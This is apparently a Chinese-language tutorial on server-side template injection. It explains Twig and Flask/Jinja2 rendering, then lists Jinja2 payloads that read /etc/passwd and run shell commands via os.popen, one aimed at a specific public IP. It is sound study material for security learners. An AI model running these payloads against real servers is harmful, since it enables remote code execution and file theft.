模板引擎:是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
模板渲染:拿到数据,塞到模板里,然后让渲染引擎将塞进去的东西生成 html 的文本,返回给浏览器
好处:展示数据快,大大提升效率。
后端渲染:服务器计算好最终的html字符串发送给用户,即浏览器只需要进行html解析以及通过操作系统提供的操纵显示器显示内容的系统调用在显示器上把HTML所代表的图像显示给用户。
好处:模板统一在后盾,前端(相对)省事,不占用客户端运算资源(解析模板)
坏处:占用(部分、少部分)服务器运算资源、,response出的数据量会(稍)大点,模板改了前端的交互和样式什么的一样得跟着联动修改。
前端渲染:浏览器要将从服务器得到的各种信息组织排列(模板,数据,html字符串)成最终的html,并进行显示
好处:不占用服务器的计算资源(解析模板),模板在前端(很有可能仅部分在前端),改结构变交互都由前端自己来完成,比较方便
坏处:占用(一部分、少部分)客户端运算资源(解析模板)
数据如何传入取决于模板引擎
例如模板引擎smarty:
一个模板
<html>
<div>{$what}</div>
</html>
js代码
var tpl= new jSmart(tplStr);//tplStr就是模板的字符串。
var content = "Hello World";
tpl.fetch({what:content});
模板注入和 SQL 注入的产生原因有几分相似——都是将未过滤的数据传给引擎解析。
服务端模板注入可以让攻击者执行任意代码,而jQuery,KnockoutJS 产生的客户端模板只能 XSS。
注入原理
<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值
echo $output;
?>
这段代码使用Twig渲染页面,其中模板中的name变量值等于用户get提交的参数name的value。这段代码是否可以进行XSS?答案是不可以的:因为模板引擎在进行渲染的时候,会对渲染的变量的值进行编码和转义
在此处,还可以传入一些表达式赋值给name,如name={{7*7}}
但如果模板内容直接受到用户的控制
<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET['name']}"); // 将用户输入作为模版内容的一部分
echo $output;
?>
用户输入的内容将直接与模板拼接,很容易触发XSS
每个模板引擎都有自己的语法,所以payload的构造需要针对各类模板语法规则制定
Flask/Jinja2中的服务端模版注入
Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2
函数解析
__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
获取基本类
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用
获取基本类后,继续向下获取基本类(object)的子类
object.__subclasses__()
python2
文件的读取和写入
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
任意执行
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块)
http://39.105.116.195/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块)
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块,直接从别的模块调用)
总结
通过某种类型(字符串:"",list:[],int:1)开始引出,__class__找到当前类,__mro__或者__base__找到__object__,前边的语句构造都是要找这个。然后利用object找到能利用的类。还有就是{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}这种的,能执行,但是不会回显。一般来说,python2的话用file就行,python3则没有这个属性。
python3
读文件:
http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('d://whale.txt').read()}}和python2的位置不一样,问题不大,挨个测试就能找出位置在在哪。
一句指令任意执行:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
参考文章
flask ssti python2和python3 注入总结和区别
SSTI模板注入
浅析SSTI(python沙盒绕过)